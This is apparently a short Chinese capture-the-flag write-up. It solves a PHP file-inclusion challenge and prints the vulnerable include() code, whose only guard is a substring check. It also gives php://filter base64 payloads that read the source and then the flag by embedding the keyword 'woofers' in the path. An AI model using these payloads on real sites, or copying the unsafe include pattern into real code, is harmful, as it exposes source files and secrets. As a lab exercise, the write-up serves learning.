简单的include文件包含及php伪协议
打开页面,随便按下一个选项,发现
1
| /index.php?category=woofers
|
然后猜测是sql注入或文件包含,然后我们使用php伪协议来读取文件
1
| php://filter/read=convert.base64-encode/resource=index
|
读取源码
1 2 3 4 5 6 7 8 9 10 11 12 13
| <?php $file = $_GET['category']; if(isset($file)) { if( strpos( $file, "woofers" ) !== false || strpos( $file, "meowers" ) !== false || strpos( $file, "index")){ //必须含有woofers或meowers或index字符串 include ($file . '.php'); //参数后拼接.php } else{ echo "Sorry, we currently only support woofers and meowers."; } } ?>
|
所以只要输入有woofers或meowers或index就可以使用include()函数进行包含,因此使用php伪协议进行读取

| php://filter/read=convert.base64-encode/woofers/resource=flag
